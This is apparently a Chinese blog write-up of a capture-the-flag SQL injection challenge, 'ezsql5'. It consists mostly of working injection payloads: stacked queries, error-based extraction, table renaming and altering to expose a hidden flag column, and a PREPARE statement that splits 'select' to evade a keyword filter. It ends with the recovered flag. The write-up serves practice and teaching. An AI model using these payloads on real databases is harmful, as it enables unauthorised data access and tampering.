首页 > 数据库 >ezsql5

ezsql5

时间:2022-12-08 20:44:54浏览次数:31  
标签:rename ezsql5 flag words 1919810931114514 table id

1';show tables;

1919810931114514

words

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

1'; show columns from `words`;

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号。

id data

1'; show columns from `1919810931114514`;

flag 

1' and extractvalue(1,concat(0x7e,(database())));
当前所在数据库
supersqli

1'; show tables from supersqli;

猜测查询语句为 : select id,data from words where id = $get; 或 select * from words where id = $get;

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) ;ALTER TABLE  words CHANGE flag data VARCHAR(100);

1';rename table words to word2;alter table `1919810931114514` rename to words;ALTER TABLE words ADD id int(10);ALTER TABLE  words CHANGE flag data VARCHAR(100);

1'; rename table words to  word2;rename table `1919810931114514`  to words;alter table words add id int first;alter table words change flag data varchar(255);

将 words改成其他名 1919810931114514 改为 words 将 flag 改为 data 并在里边添加新列

然后 默认的查询语句即可查出flag
NSSCTF{f457a05b-a39b-4cb0-866e-c8e4f384b082}
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1

标签:rename,ezsql5,flag,words,1919810931114514,table,id
From: https://www.cnblogs.com/yhchen-blogs/p/16967238.html

相关文章